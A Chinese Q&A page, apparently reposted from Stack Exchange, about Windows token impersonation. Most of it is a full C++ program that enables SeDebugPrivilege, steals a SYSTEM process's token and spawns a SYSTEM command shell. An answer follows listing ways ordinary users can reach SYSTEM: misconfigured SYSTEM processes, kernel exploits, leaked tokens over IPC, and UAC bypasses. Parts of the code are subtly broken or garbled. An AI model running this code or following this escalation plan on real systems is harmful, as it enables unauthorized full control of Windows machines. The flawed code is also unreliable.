Windows下Token impersonation需管理员权限的原因及无权限实现方案问询
无需管理员身份获取System权限的技术思路
原代码(模拟Winlogon令牌获取System权限)
#include <windows.h> #include <iostream> #include <Lmcons.h> #include <conio.h> BOOL SetPrivilege( HANDLE hToken, // access token handle LPCTSTR lpszPrivilege, // name of privilege to enable/disable BOOL bEnablePrivilege // to enable or disable privilege ) { TOKEN_PRIVILEGES tp; LUID luid; if (!LookupPrivilegeValue( NULL, // lookup privilege on local system lpszPrivilege, // privilege to lookup &luid)) // receives LUID of privilege { printf("[-] LookupPrivilegeValue error: %u\n", GetLastError()); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; if (bEnablePrivilege) tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; else tp.Privileges[0].Attributes = 0; // Enable the privilege or disable all privileges. if (!AdjustTokenPrivileges( hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) { printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError()); return FALSE; } if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) { printf("[-] The token does not have the specified privilege.\n"); return FALSE; } return TRUE; } int main(int argc, char** argv) { // Print whoami to compare to thread later printf("[+] Current user is: %s\n"); // (get_username()).c_str()); system("whoami"); // Grab PID from command line argument char *pid_c = argv[1]; DWORD PID_TO_IMPERSONATE = 900; // Initialize variables and structures HANDLE tokenHandle = NULL; HANDLE duplicateTokenHandle = NULL; STARTUPINFOW startupInfo; PROCESS_INFORMATION processInformation; ZeroMemory(&startupInfo, sizeof(STARTUPINFO)); ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION)); startupInfo.cb = sizeof(STARTUPINFO); // Add SE debug privilege HANDLE currentTokenHandle = NULL; BOOL getCurrentToken = OpenProcessToken (GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, ¤tTokenHandle); if (SetPrivilege (currentTokenHandle, "SeDebugPrivilege", TRUE)) { printf("[+] SeDebugPrivilege enabled!\n"); } // Call OpenProcess(), print return code and error code HANDLE processHandle = OpenProcess (PROCESS_QUERY_INFORMATION, true, PID_TO_IMPERSONATE); if (GetLastError() == NULL) printf("[+] OpenProcess() success!\n"); else { printf("[-] OpenProcess() Return Code: %i\n", processHandle); printf("[-] OpenProcess() Error: %i\n", GetLastError()); } // Call OpenProcessToken(), print return code and error code BOOL getToken = OpenProcessToken (processHandle, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &tokenHandle); if (GetLastError() == NULL) printf("[+] OpenProcessToken() success!\n"); else { printf("[-] OpenProcessToken() Return Code: %i\n", getToken); printf("[-] OpenProcessToken() Error: %i\n", GetLastError()); } // Impersonate user in a thread BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle); if (GetLastError() == NULL) { printf("[+] ImpersonatedLoggedOnUser() success!\n"); // printf("[+] Current user is: %s\n", (get_username()).c_str()); system("whoami"); printf("[+] Reverting thread to original user context\n"); RevertToSelf(); } else { printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken); printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError()); } // Call DuplicateTokenEx(), print return code and error code BOOL duplicateToken = DuplicateTokenEx(tokenHandle, TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle); if (GetLastError() == NULL) printf("[+] DuplicateTokenEx() success!\n"); else { printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken); printf("[-] DupicateTokenEx() Error: %i\n", GetLastError()); } // Call CreateProcessWithTokenW(), print return code and error code BOOL createProcess = CreateProcessWithTokenW (duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation); if (GetLastError() == NULL) printf("[+] Process spawned!\n"); else { printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess); printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError()); } getch(); return 0; }
上述代码依赖管理员权限才能打开Winlogon进程并获取其令牌,核心限制在于普通用户没有权限访问Winlogon这类高权限系统进程。以下是无需管理员身份实现System权限获取的技术思路:
寻找低权限可访问的LocalSystem进程:部分系统服务或第三方进程虽以System身份运行,但由于DACL权限配置过松,普通用户可直接打开并获取其令牌。找到这类进程后,即可复用代码中的令牌模拟逻辑,无需管理员权限。这类场景多见于配置错误的服务,或部分旧版本Windows的默认服务。
利用内核提权漏洞:针对特定Windows版本的内核驱动、系统服务逻辑缺陷,普通用户权限的代码可通过漏洞直接提升至System权限上下文,无需依赖令牌模拟。这类漏洞通常需要针对具体系统版本开发利用代码,且会随系统补丁修复失效。
利用合法令牌共享/继承缺陷:部分高权限进程在创建子进程或进行IPC通信时,可能错误地将高权限令牌暴露给普通用户进程。通过监听命名管道、共享内存等IPC通道,或利用进程继承关系,可获取到可利用的高权限令牌。这类场景较为少见,需依赖特定系统或软件的配置缺陷。
UAC绕过直接获取System权限:部分UAC绕过技术可跳过管理员权限验证,直接触发System权限的代码执行。例如利用系统服务的自动修复机制、任务计划的配置漏洞等,普通用户可触发这些机制执行自定义代码,从而获得System权限。
内容的提问来源于stack exchange,提问作者Marsha4Coding
相关产品推荐
相关产品推荐

